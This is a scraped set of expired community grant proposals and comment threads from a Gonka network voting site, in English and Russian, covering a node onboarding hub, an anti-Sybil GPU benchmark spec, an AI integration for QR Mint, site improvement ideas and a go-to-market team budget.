"}, {"location": "proposals/preproposals/66e6583a-27b4-4bae-91fb-8f0489736b0d/", "title": "1. Team Veylox Grant Request", "text": "🔴 ExpiredAuthor: Slava MyGonka Created: 2026-06-11 05:35 UTC Closes: 2026-07-11 05:35 UTC Language: Votes: 0 Avg. Bid: 0.00 GNK
Propose to build a beginner-friendly Gonka Network Onboarding Hub to help users acquire, register, and run nodes, reducing onboarding friction and growing active network participation.
"}, {"location": "proposals/preproposals/66e6583a-27b4-4bae-91fb-8f0489736b0d/#full-proposal", "title": "Full Proposal", "text": "Team Name: Veylox
What does your team plan to build or deliver for Gonka over the next three months?
The team plans to build The Gonka Network Onboarding Hub — a complete, beginner-friendly onboarding resource for new Gonka network participants.
The hub will gather, organize, simplify, and keep up to date the key information needed to participate in the Gonka network. It will include step-by-step written and video guides, explanations of different ways to acquire or rent a node, comparisons of major providers and community-recommended options, pricing information, important considerations, and walkthroughs for getting started.
It will also document the known ways to register a node, including the official manual process, proven community guides, and community-built automation tools.
The goal is to reduce onboarding friction, help more users successfully become network participants, increase the number of active nodes, and support Gonka’s roadmap goal of building frontier-scale decentralized compute.
What contributions or products has your team already developed for Gonka (with links pls)?
The team has been a very early participant in the Gonka network.
They developed a community self-funding Gonka network participating node initiative through a merch site with proof of compute: https://fanmadegonkamerch.store/
They have built local nodes, rented nodes, mined GNK, bought GNK, and participated in key network events and discussions, including the January node hardware requirement debate and discussions around the approved roadmap.
GNK Wallet Address: gonka1p8me22qptvpp6cjd8rqj5jukczrzfaws9q7664
Discord ID: 111_leo_111
Email Address: itisforth1@gmail.com
"}, {"location": "proposals/preproposals/66e6583a-27b4-4bae-91fb-8f0489736b0d/#comments-8", "title": "Comments (8)", "text": ""}, {"location": "proposals/preproposals/66e6583a-27b4-4bae-91fb-8f0489736b0d/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-11 06:29 · 👍 1 · 👎 0
Привет! Глянул ваш сайт с Мерчем. Прикольно. Молодцы ) Вот вам лого для вашего сайта )) https://drive.google.com/file/d/15DSQha49eM82qClEJCorUP1uF5NN94LC/view?usp=sharing
Вы знаете, что есть База Знаний уже как минимум одна: https://www.gonkadb.com/bin/view/Main/
Писали ли вы когда-нибудь Статьи информационные? Давайте вы одну какую-то напишете, чтобы понимать, чего ожидать. И видео есть какое-нибудь уже? Хорошо бы тоже снять.
Т.е. покажите, что будет по итогу.
Спасибо!
"}, {"location": "proposals/preproposals/66e6583a-27b4-4bae-91fb-8f0489736b0d/#leo-111", "title": "💬 Leo 111", "text": "2026-06-16 05:59 · 👍 1 · 👎 0
Hi,
Thank you very much.
We have gone ahead and created the website, including examples of one method for obtaining a node and one method for registering a node. Here is the link:
https://thegonkanetworkonboardinghub.com/
The website is fully functional; however, the current content represents only a portion of the planned material. The existing sections will be expanded with more detailed explanations, step-by-step more in detail walkthroughs, guides, and additional resources. We also plan to add several more methods beyond the examples currently displayed.
Regarding compensation, we would like to request the original allocation of 50,000 GNK. We are comfortable with the proposed vesting schedule.
The website will feature dedicated sections that provide guidance, detailed instructions, and video resources covering the various ways users can obtain and register a node.
Based on current estimates, there are approximately 2–3 major node providers, along with options for users who prefer to own and operate their own physical node. As a result, I anticipate the \"Get a Node\" section ultimately containing around five distinct pathways, each supported by a comprehensive written guide and video tutorial.
Similarly, there are approximately 2–3 commonly used node registration methods within the community, as well as 1–2 community-developed registration tools. Therefore, I expect to create roughly five separate \"Register a Node\" guides, each accompanied by detailed documentation and video walkthroughs.
Upon approval, I plan to complete the remaining content and have the website fully production-ready within one month.
This project will also require ongoing maintenance to ensure that guides, tools, and resources remain accurate as the ecosystem evolves. I will continue updating the website as new providers, registration methods, tools, and community resources become available.
Thank you.
"}, {"location": "proposals/preproposals/66e6583a-27b4-4bae-91fb-8f0489736b0d/#slava-mygonka_1", "title": "💬 Slava MyGonka", "text": "2026-06-16 21:18 · 👍 1 · 👎 0
Я посмотрел сайт. Мне нравится ваша идея.
Хорошо, что мы думаем в одном направлении. Знаешь, о чем я думал? Я считаю, что мы можем писать инструкции не только для людей, но скорее для Агентов. Я бы хотел, чтобы у нас была инструкция (правильнее будет сказать \"документация\"), которую можно было передать агенту (Cursor, Cloude, Codex) и чтобы он все установил, согласно инструкции.
А эта инструкция бы обновлялась постоянно. Т.е. кто-то бы ее поддерживал в актуальном состоянии.
Скажите, пожалуйста, а на каком языке вы говорите? Английский? Нужно продумать как сделать так, чтобы Статьями могли пользоваться люди на разных языках.
Знакомы ли вы с инициативой NOPE? https://github.com/inc4/gonka-nop
Какой у вас опыт в Майнинге? Вы сейчас майните?
Сейчас создается Комитет, который будет рассматривать такие предложения и помогать делать Пропоузелы. Пока он только создается. Вот здесь чат: https://t.me/Gonka_Marketing Там по русски пишут, но можно и по английски.
Спасибо!
"}, {"location": "proposals/preproposals/66e6583a-27b4-4bae-91fb-8f0489736b0d/#leo-111_1", "title": "💬 Leo 111", "text": "2026-06-17 16:28 · 👍 1 · 👎 0
An agent-readable documentation for easy node registration could indeed be a valuable addition and could serve as one of the available options within the node registration section.
I speak English and Russian, too )) We can easily make the whole website available in multiple languages with a toggle option to choose between them.
I have indeed heard of the NOPE initiative and planned to have it as one of the options for registering a node.
We actually built a PC from scratch back in December with 2× 4090s back when you could mine with them. We also rented many different types of nodes online and mined with those.
Great, I speak Russian and English, so no problem at all ))
2026-06-17 18:47 · 👍 1 · 👎 0
Ребята из NOPE больше, кажется, не поддерживают свой проект. Но это не мешает зайти и посмотреть их код. Он есть на ГитХаб.
Давай я все-таки уточню: ты планируешь сделать детальную документацию для людей. Эта документация позволит быстрее разобраться с разворачиванем ноды. Т.е. упростит процесс входа.
2026-06-17 21:56 · 👍 1 · 👎 0
Yes, that’s the whole goal. A hub with detailed documentation and video walkthroughs for every available way to acquire a node and register it to the network. Whether it be owning your own node or renting one from various platforms, whether it be registering a node using the official guide, community-made guides, automated tools people have built, or documentation that can be given to an AI agent to perform the setup on your behalf, the goal is to cover every viable path.
Tools like NOPE can absolutely be recreated and included in the “Register a Node” section. Basically, every known working way to register a node will be documented in detail with walkthroughs and kept updated as the network and ecosystem evolve.
The goal is to make acquiring and registering a node as easy and seamless as possible. If we want the network to grow into a world-class decentralized compute system with 1 million+ GPUs connected to it, then onboarding has to be frictionless. Acquiring a node, setting it up, and registering it to the network should be straightforward for both technical and non-technical users alike.
As for renting, we rented from Spheron using both spot and dedicated instances. Spot instances were typically rented for a single epoch because they can be taken away from you with very little warning, which is why they’re so cheap. So yes, they’re cost-effective, but they’re also much riskier. Dedicated instances cost more but provide much greater reliability.
"}, {"location": "proposals/preproposals/66e6583a-27b4-4bae-91fb-8f0489736b0d/#slava-mygonka_3", "title": "💬 Slava MyGonka", "text": "2026-06-21 10:10 · 👍 1 · 👎 0
А сейчас майните? Тут же постоянно что-то меняется.
Разбираетесь в коэффициентах? Как подключались, сами или через AI Агента типа Gursor?
Оптимизация нод. Есть ли идеи и опыт?
А ты есть в этом чате? https://t.me/gonka_hosts
"}, {"location": "proposals/preproposals/66e6583a-27b4-4bae-91fb-8f0489736b0d/#leo-111_3", "title": "💬 Leo 111", "text": "2026-06-21 19:21 · 👍 0 · 👎 0
We are not mining right now. As mentioned before, we mined both locally using a node we built from scratch and by renting hardware, but we still stay very up to date with the latest network changes, documentation, guides, and tools.
Yes, we understand coefficients and how they affect reward weight depending on the model being run.
We connected and configured all of our nodes ourselves, although we would occasionally use various LLMs for troubleshooting and debugging when needed.
As for node optimization, we often compared reward weight per GPU dollar, taking into account resource consumption and the current coefficient of each model to determine the most efficient setup.
Also, yes, I just joined the chat )
View on gonka.vote
"}, {"location": "proposals/preproposals/673770df-0b72-4d04-a038-f8c12546817f/", "title": "Universal Continuous GPU Benchmark for Gonka Hosts (vLLM v0.19+, Anti-Sybil)", "text": "🔴 ExpiredAuthor: Evgenii Maksimenkov Created: 2026-04-25 06:31 UTC Closes: 2026-05-25 06:31 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Develop a vLLM v0.19+ universal GPU benchmark that runs continuously during the epoch without interrupting inference, fairly scores any model size, and is hardened against hot-plug and Sybil attacks.
"}, {"location": "proposals/preproposals/673770df-0b72-4d04-a038-f8c12546817f/#full-proposal", "title": "Full Proposal", "text": "Context
Gonka measures Host compute capacity via Proof of Compute (PoC) Sprints. The current Sprint model concentrates measurement into a short synchronized window, which (a) creates a measurable inference-revenue gap during the Sprint and (b) opens a surface for \"burst attacks\" — Hosts attaching extra GPUs only for the Sprint window and detaching them afterwards.
This tender procures a universal, continuous GPU benchmark that runs throughout the epoch on the Host's actual production inference stack (vLLM v0.19+), produces a verifiable per-GPU compute score, and is robust against hot-plug, Sybil, and replay attacks.
The deliverable replaces (or supplements, subject to governance) burst-style Sprint scoring with a continuously-sampled metric that cannot be gamed by transient hardware, while preserving existing PoC validation properties (randomized verification, on-chain artifacts, slashing).
"}, {"location": "proposals/preproposals/673770df-0b72-4d04-a038-f8c12546817f/#2-scope-of-work", "title": "2. Scope of Work", "text": "The Contractor shall design, implement, test, document, and upstream a benchmark subsystem (hereinafter — the Benchmark) consisting of:
gpu_memory_utilization).(epoch_seed, host_address, gpu_uuid).gpu_uuid, pci_bus_id, nvml_serial, vbios_version, driver_version, current power draw, current SM clock, current memory clock, ECC error counters, and a monotonic uptime counter sourced from the device.min(1, observed_uptime_in_epoch / required_uptime) where required_uptime ≥ 95% of the epoch.nvml_serial / vbios / pci triple appearing on two Hosts within a rolling 7-epoch window MUST trigger automatic disqualification of both Hosts pending governance review.(commit, reveal) with a commit deadline ≤1 block after measurement and reveal ≤2 blocks after commit. Late reveals MUST be rejected.(epoch_id, block_height, gpu_uuid).inference-ignite deployment; optional Kubernetes Helm chart Observability Prometheus metrics, structured JSON logs, OpenTelemetry traces; Grafana dashboard with per-GPU score, heartbeat status, sample histogram Config All thresholds (heartbeat interval, uptime floor, KV ceiling, QoS class, sample count) MUST be governance-tunable parameters, not compile-time constants API OpenAI-compatible inference path MUST remain unchanged externally; new /poc/continuous/* endpoints exposed on the API Node Determinism Reference workload MUST be reproducible with seed, top_logprobs, and batch-invariant kernels enabled; tolerance bands documented per kernel"}, {"location": "proposals/preproposals/673770df-0b72-4d04-a038-f8c12546817f/#6-deliverables", "title": "6. Deliverables", "text": "gonka-ai/gonka GitHub organization, dual-licensed compatible with the Gonka Protocol License, with ≥85% unit test coverage on the agent and ≥70% on Chain Node integration.pow-security-analysis.pdf, formally analyzing the continuous-measurement security model and providing a probabilistic bound on the expected cost-of-attack for hot-plug and Sybil scenarios.inferenced benchmark verify.The Benchmark is accepted when, on a testnet of ≥20 heterogeneous Hosts running for ≥7 consecutive epochs:
2026-04-25 18:41 · 👍 2 · 👎 0
What are your thoughts?
"}, {"location": "proposals/preproposals/673770df-0b72-4d04-a038-f8c12546817f/#alex-aa", "title": "💬 Alex A.A.", "text": "2026-04-25 19:05 · 👍 2 · 👎 0
Начало положено! Язык работает.
"}, {"location": "proposals/preproposals/673770df-0b72-4d04-a038-f8c12546817f/#alex-aa_1", "title": "💬 Alex A.A.", "text": "2026-04-25 19:09 · 👍 1 · 👎 0
Через телеграм можно зайти. Круто!
"}, {"location": "proposals/preproposals/673770df-0b72-4d04-a038-f8c12546817f/#nikita", "title": "💬 Nikita", "text": "2026-04-25 19:45 · 👍 1 · 👎 0
🔥🔥🔥
"}, {"location": "proposals/preproposals/673770df-0b72-4d04-a038-f8c12546817f/#alisa-chudinov", "title": "💬 Alisa Chudinov", "text": "2026-04-25 19:47 · 👍 1 · 👎 0
Very intresting!
"}, {"location": "proposals/preproposals/673770df-0b72-4d04-a038-f8c12546817f/#mikhail-chudinov", "title": "💬 Mikhail Chudinov", "text": "2026-04-25 19:50 · 👍 1 · 👎 0
Изучаю пока функционал сервиса. Проблема с мульти PoC точно есть, и над ней надо думать. Но такой бенчмарк не единственный подход. Думаю что надо думать о полностью рыночном механизме, который не может быть заменен бенчмарком.
"}, {"location": "proposals/preproposals/673770df-0b72-4d04-a038-f8c12546817f/#alex-sharoiko", "title": "💬 Alex Sharoiko Александр Шаройко", "text": "2026-04-26 19:57 · 👍 1 · 👎 0
Тест. Интересно, как работает ) Не обращайте внимание )
"}, {"location": "proposals/preproposals/673770df-0b72-4d04-a038-f8c12546817f/#alex-sharoiko_1", "title": "💬 Alex Sharoiko Александр Шаройко", "text": "2026-04-26 19:58 · 👍 0 · 👎 0
Тестирую функционал тоже ) Не обращай внимание )
"}, {"location": "proposals/preproposals/673770df-0b72-4d04-a038-f8c12546817f/#alex-sharoiko_2", "title": "💬 Alex Sharoiko Александр Шаройко", "text": "2026-04-26 19:59 · 👍 0 · 👎 0
Hi! How is it going?!
"}, {"location": "proposals/preproposals/673770df-0b72-4d04-a038-f8c12546817f/#alex-sharoiko_3", "title": "💬 Alex Sharoiko Александр Шаройко", "text": "2026-04-26 20:09 · 👍 0 · 👎 0
https://www.youtube.com/shorts/WTSRfhsLYwQ
"}, {"location": "proposals/preproposals/673770df-0b72-4d04-a038-f8c12546817f/#alex-sharoiko_4", "title": "💬 Alex Sharoiko Александр Шаройко", "text": "2026-04-29 04:45 · 👍 0 · 👎 0
А сколько проверка PoC занимает сейчас ресурсов? Предлагаемое решение будет забирать до 3%, верно?
2026-04-26 19:57 · 👍 0 · 👎 1
But what will happend if I reply in English?
View on gonka.vote
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/", "title": "Интеграция ИИ Gonka в инфраструктуру QR Mint", "text": "🔴 ExpiredAuthor: Victor Created: 2026-06-11 09:48 UTC Closes: 2026-07-11 09:48 UTC Language: RU Votes: 0 Avg. Bid: 0.00 GNK
Этап 1. QR Mint — первая интеграция QR Mint — э.
Мы интегрируем ИИ Gonka для автоматической генерации условий бонусов и проверки вали
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#full-proposal", "title": "Full Proposal", "text": "Интеграция ИИ Gonka в инфраструктуру QR Mint
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#_1", "title": "Обзор проекта", "text": "QR Mint — это существующая инфраструктура для создания, дистрибуции и монетизации цифровых активов в нескольких блокчейн-сетях.
Платформа уже включает:
Мы предлагаем интегрировать ИИ Gonka непосредственно в QR Mint как интеллектуальный слой, который смогут использовать все проекты, работающие через платформу.
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#qr-mint-httpsqr-mintnet", "title": "Почему именно QR Mint (https://qr-mint.net)", "text": "Большинство AI-интеграций создаются для одного продукта.
Мы предлагаем другой подход.
Вместо интеграции ИИ в отдельную игру или NFT-коллекцию, мы интегрируем его в инфраструктуру.
После подключения Gonka любой будущий проект, использующий QR Mint, сможет получить доступ к AI-функциям через единую систему.
Это создаёт масштабируемый канал распространения технологий Gonka.
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#_2", "title": "Что будет делать ИИ", "text": ""}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#_3", "title": "Генерация механик вознаграждений", "text": "ИИ поможет создавать:
Цель — помочь проектам создавать более устойчивые цифровые экономики.
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#_4", "title": "Аналитика поведения пользователей", "text": "Система сможет анализировать:
Эти данные будут полезны как проектам, так и для дальнейшего развития ИИ Gonka.
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#hardcore-arena-gameqr-mintnet", "title": "Демонстрационный кейс: HardCore Arena (сама игра game.qr-mint.net)", "text": "Для демонстрации интеграции будет использована HardCore Arena — существующая игра, разработанная нашей командой.
Текущее состояние проекта:
ИИ сможет анализировать прохождение уровней и рекомендовать изменения для повышения качества игрового процесса.
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#_6", "title": "Помощь в создании уровней", "text": "На основе существующих данных ИИ сможет помогать авторам создавать новые уровни и игровые сценарии.
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#gonka", "title": "Почему это выгодно Gonka", "text": ""}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#_7", "title": "Инфраструктурный канал распространения", "text": "Одна интеграция открывает доступ ко всем будущим проектам, использующим QR Mint.
Нет необходимости интегрировать ИИ отдельно в каждое приложение.
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#_8", "title": "Реальное применение ИИ", "text": "Gonka становится частью работающей экосистемы, а не экспериментальным прототипом.
Технология получает практическое применение в цифровых активах, игровых механиках и системах вовлечения пользователей.
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#_9", "title": "Данные для развития ИИ", "text": "Интеграция создаёт поток реальных данных из:
Это позволяет улучшать модели на основе реального пользовательского поведения.
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#_10", "title": "Наш вклад", "text": "Мы предоставляем:
10 000 долларов
Средства будут направлены на:
Мы предлагаем Gonka получить инфраструктуру, данные и первый игровой кейс для развития собственного направления AI для игр
Наша цель — создать инфраструктурный слой, который позволит использовать возможности Gonka во множестве проектов: играх, NFT-системах, программах лояльности, цифровых активах и будущих Web3-приложениях.
QR Mint становится инфраструктурой. Gonka становится интеллектуальным слоем. HardCore Arena становится первым работающим примером применения этой технологии.
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#comments-7", "title": "Comments (7)", "text": ""}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#victor", "title": "💬 Victor", "text": "2026-06-11 09:50 · 👍 0 · 👎 0
Сама игра в телеграмме https://t.me/TheWorldHardestGame_bot
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-11 10:17 · 👍 0 · 👎 0
Привет! Жалко, что нельзя текст редактировать, верно? ) Я уже попросил разработчиков это поправить. Но, возможно, это не БАГ, а Фича? )
Игра у меня так и не загрузилась. Черный экран и Loading. https://prnt.sc/NKQcDLAwSzAH
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#victor_1", "title": "💬 Victor", "text": "2026-06-11 11:07 · 👍 0 · 👎 0
Привет,
6 Это баг в игре, нужно 2 раза обновить, но или попробуйте обновить через game.qr-mint.net 3 и 4 Это мой проект, я несу полностью отвсетвенность так и за техническую часть так и за маркетинг и дистрибуцию 5. Досточно хорошо, сам гонка сделан на блокчейн космос тот использует использует архитектуру Tendermint, реализован братьями Либерманами. С опытом космовских сеток я досточно знаком и есть опыт с ИИ частью пока не работал, как планирую закончить блокчейн часть 6. Да, есть это во первых это - техническая интеграций часть интеграция от блокчейна до ИИ, - А также транзакций можно будет все отследить - Аудиторий, по тем же игрокам, метрикам и так далее
Но это будет работать если проект будет развиваться дальше, а на это нужно средства, поэтому я сделал за прос на грант
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#victor_2", "title": "💬 Victor", "text": "2026-06-11 11:07 · 👍 0 · 👎 0
Привет, 6 Это баг в игре, нужно 2 раза обновить, но или зайте через game.qr-mint.net , там выше отпечатка
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#victor_3", "title": "💬 Victor", "text": "2026-06-11 15:05 · 👍 0 · 👎 0
Адрес кошелька GNK gonka1h8fxp0mpn9kyw4swe8y8xsh5k58kuugevqdmym
Telegran dao0dev
Адрес электронной почты qr.mint.dev@gmail.com
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#mitch", "title": "💬 Mitch", "text": "2026-06-24 16:53 · 👍 0 · 👎 0
Для меня ваш проект выглядит как клиент, который мог бы использовать инфиренс от гонки. Интеграцию вам надо делать с любым из броккеров гонки. Не вижу причин, по которым бы такая разработка и интеграция бы спонсировалась из комьюнити пула. Создание брокеров мы кстати тоже не спонсируем, люди просто делают бизнес. И вы тоже можете построить продукт, использя дешевый инфиренс.
"}, {"location": "proposals/preproposals/7d2ec26b-6524-4fc6-b676-a13d822536e8/#mitch_1", "title": "💬 Mitch", "text": "2026-06-24 17:00 · 👍 0 · 👎 0
Если бы у вас был трафик, то это имело бы какой то смысл, а так у вас 0 пользователей по сути.
View on gonka.vote
"}, {"location": "proposals/preproposals/b7083379-6dc5-4198-b9b0-1b8b98f0ac01/", "title": "Улучшения для vote.gonka.vip", "text": "🔴 ExpiredAuthor: Alex A.A. Created: 2026-04-25 20:08 UTC Closes: 2026-05-25 20:08 UTC Language: RU Votes: 0 Avg. Bid: 0.00 GNK
Любые идеи, хочушки, плюшки и т.д. по улучшению этого сервиса. Давайте сделаем конфетку секси :)
"}, {"location": "proposals/preproposals/b7083379-6dc5-4198-b9b0-1b8b98f0ac01/#full-proposal", "title": "Full Proposal", "text": "Основная ветка для улучшения работы этого сервиса. Топовые идеи - вынесу в тело.
"}, {"location": "proposals/preproposals/b7083379-6dc5-4198-b9b0-1b8b98f0ac01/#comments-13", "title": "Comments (13)", "text": ""}, {"location": "proposals/preproposals/b7083379-6dc5-4198-b9b0-1b8b98f0ac01/#alex-aa", "title": "💬 Alex A.A.", "text": "2026-04-25 20:11 · 👍 1 · 👎 0
2026-04-25 20:15 · 👍 1 · 👎 0
2026-04-25 20:30 · 👍 1 · 👎 0
Многое уже увидел. Вы обновляете быстрее чем идеи приходят. 1. Что насчет закрепления каких нибудь пропозылов... Кпримеру этого на начальный этап, что бы улучшить сервис.
"}, {"location": "proposals/preproposals/b7083379-6dc5-4198-b9b0-1b8b98f0ac01/#alex-aa_2", "title": "💬 Alex A.A.", "text": "2026-04-27 15:44 · 👍 1 · 👎 0
Еще улучшения, что если после создания тендора/обсуждения на виджете можно было копировать короткую сылку ? К примеру сейчас мне нужно вот такую сылку постить везде если хочу привлечь внимание к голосованию : https://vote.gonka.vip/tenders/b7083379-6dc5-4198-b9b0-1b8b98f0ac01 А что если возможность сократить до нескольких символов.... но что бы сам ресурс vote.gonka.vip или даже gonka.vip уже сделал пересылку из маленькой на нужную страницу ?
Пример: https://vote.gonka.vip/l_dka13
"}, {"location": "proposals/preproposals/b7083379-6dc5-4198-b9b0-1b8b98f0ac01/#alex-sharoiko", "title": "💬 Alex Sharoiko Александр Шаройко", "text": "2026-04-29 04:49 · 👍 1 · 👎 0
Хотел приложить скрин, и не могу, т.к. не поддерживает месенджер картинки.
Нужно сделать прокрутку в самый низ и в самый верх. Чтобы мышкой долго не крутить.
2026-04-29 04:50 · 👍 1 · 👎 0
2026-04-29 04:52 · 👍 1 · 👎 0
2026-04-29 04:56 · 👍 1 · 👎 0
Уменьшить количество символов в Заголовке. Пусть пишут короче. https://prnt.sc/EitFZF9w8aKa
Через ГонкаAI дать возможность создавать краткую версию описания. Я не могу столько читать. Не знаю, как это отобразить в Интерфейсе, но важно, чтобы можно было вкратце посмотреть.
Может, дать такую возможность тем, кто формирует предложение?
Или просто добавить кнопки такие: Сократить через GonkaAI и Показать Полностью
"}, {"location": "proposals/preproposals/b7083379-6dc5-4198-b9b0-1b8b98f0ac01/#alex-sharoiko_4", "title": "💬 Alex Sharoiko Александр Шаройко", "text": "2026-04-29 04:58 · 👍 1 · 👎 0
А то я не понимаю, что такое \"Грант\".
"}, {"location": "proposals/preproposals/b7083379-6dc5-4198-b9b0-1b8b98f0ac01/#alex-sharoiko_5", "title": "💬 Alex Sharoiko Александр Шаройко", "text": "2026-04-29 05:16 · 👍 1 · 👎 0
2026-04-29 04:51 · 👍 0 · 👎 0
Скрин https://prnt.sc/ewucmviwxzPL
"}, {"location": "proposals/preproposals/b7083379-6dc5-4198-b9b0-1b8b98f0ac01/#evgenii-maksimenkov_1", "title": "💬 Evgenii Maksimenkov", "text": "2026-06-03 11:20 · 👍 0 · 👎 0
Проверка уведомлений
"}, {"location": "proposals/preproposals/b7083379-6dc5-4198-b9b0-1b8b98f0ac01/#alex-aa_3", "title": "💬 Alex A.A.", "text": "2026-06-03 11:23 · 👍 0 · 👎 0
А если так, кому прийдет уведомление ?
View on gonka.vote
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/", "title": "Go-To-Market Team for 3 Month to Set Up the Basis", "text": "🔴 ExpiredAuthor: Dem | Démíngān Created: 2026-07-03 15:58 UTC Closes: 2026-07-10 15:58 UTC Language: EN Votes: 2 Avg. Bid: 26.7K GNK
This proposal describes ecosystem we should do for the Gonka, including basics, go-to-market actions, the team and the budgets for the next 3 months.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#full-proposal", "title": "Full Proposal", "text": "Internal Go-To-Market Team for Gonka
Read full proposal
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#summary", "title": "Summary", "text": "This proposal describes a 3-month internal go-to-market team for Gonka. The goal is to set up the core GTM foundation: acquisition funnels, analytics, audience research, CRM processes, and coordination between ecosystem participants.
The team will focus on building repeatable marketing and sales processes, testing acquisition channels, and creating a clear data-driven base for future scaling.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#main-goals", "title": "Main Goals", "text": "The team will create and test onboarding funnels for different target audiences and acquisition channels. This includes experiments with offers, landing pages, SEO, GEO, and AEO optimization.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#2-marketing-analytics", "title": "2. Marketing Analytics", "text": "A unified analytics format will be introduced for traffic, user sources, conversion funnels, and Gonka ecosystem services. Dashboards will show clear metrics by channel, offer, performer, and other relevant filters.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#3-hypothesis-management", "title": "3. Hypothesis Management", "text": "All GTM hypotheses will be collected in one shared place, including:
Separate CRMs will be built for:
Each contact will include communication details and current status.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#5-ecosystem-support", "title": "5. Ecosystem Support", "text": "The team will also collect requirements and support activities connected to Gonka network development, including inference priorities and early demand for model training on unused network GPUs.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#6-competitor-research", "title": "6. Competitor Research", "text": "Competitor analysis will be split by audience type:
The first month will focus on setup and testing:
After the setup phase, the team will scale the best-performing channels and formats.
Reporting will include:
The project is led by experienced C-level operators who have been investing in Gonka since November 2025.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#key-people", "title": "Key People", "text": "Relevant experience includes:
Over the last two months, the team has already participated in Gonka go-to-market activities:
The exact allocation may change during execution based on what performs best.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#actual-cost", "title": "Actual Cost", "text": "Read full proposal
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#comments-9", "title": "Comments (9)", "text": ""}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#dem-demingan", "title": "💬 Dem | Démíngān", "text": "2026-07-04 12:16 · 👍 2 · 👎 0
AMA: https://youtu.be/tYfeXANyPtM?si=uKUTEboIwh2HJ5tR&t=3747
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#andrey-a", "title": "💬 Andrey A", "text": "2026-07-06 08:07 · 👍 2 · 👎 0
Прошу за личную критику не воспринимать.
Если работа подается как проектная и при этом не раскрывается структура вознаграждения конкретных участников, сразу возникают вопросы к релевантным кейсам именно этой команды. Сейчас таких кейсов в предложении фактически нет (и не может быть, так как команда будет собираться).
Если же бюджет запрашивается на построение GTM-команды, то он должен быть разделен на понятные категории: ФОТ, рекламные бюджеты, подрядчики, инструменты, мероприятия и прочие операционные расходы. Решено это не делать в том числе по соображениям безопасности - ок, но тогда предложение становится слабее.
Сумма запроса значительная. Она превышает бюджеты, которые ранее запрашивали известные компании. Выделение такой суммы возможно только после детального изучения пропоузеров: валидации заявленного опыта, связи с бывшими партнерами, работодателями или клиентами, проверки реальных результатов и роли участников в этих результатах.
Насколько я понимаю, сейчас в Gonka нет устойчивой структуры, которая могла бы провести такую проверку. Поэтому более разумным выглядит дождаться формирования foundation или другой governance-структуры, которая сможет выполнять due diligence подобных предложений. Тем более BF говорили, что их как раз это волнует.
Кроме того, большое количество правок этого предложения до публикации, по словам самих пропоузеров, дополнительно подтверждает, что выбранная структура и формат запроса остаются спорными.
"}, {"location": "proposals/preproposals/cb7f643f-3d56-47ec-9193-f9f2f80a99fb/#viktor", "title": "💬 Viktor", "text": "2026-07-05 15:45 · 👍 1 · 👎 0
-- вопрос/критика --
Конфликт интересов у авторов/исполнителей пропозала в связи с тем, что они также являются влиятельными членами Go-To-Market комитета.
\"Не смогут объективно координировать других исполнителей.\"
\"Не смогут объективно оценивать другие входящие пропозалы, будут стараться из завалить\"
-- наш ответ --
📌 I. Конфликты интересов будут у всех активных людей, которые пойдут работать на благо Gonka. Все хотят заработать побольше. Задача сети: привлекать экспертных людей, готовых долго и консистентно работать в обмен за возможность много выиграть при успехе проекта.
📌 II. Замечу, что сейчас мы уже существуем в состоянии глубочайшего конфликта интересов.
Все, у кого есть полезные инсайды по продвижению, стараются делиться ими очень осторожно, вымеряя, что они получат взамен. Ведь, скорее всего, ничего не получат.
Особенно это относится к внешним исполнителям. А что если The Soul, пользуясь большими бюджетами сети для продвижения, воспользуется моими инсайдами, но направит трафик мимо моего брокера?
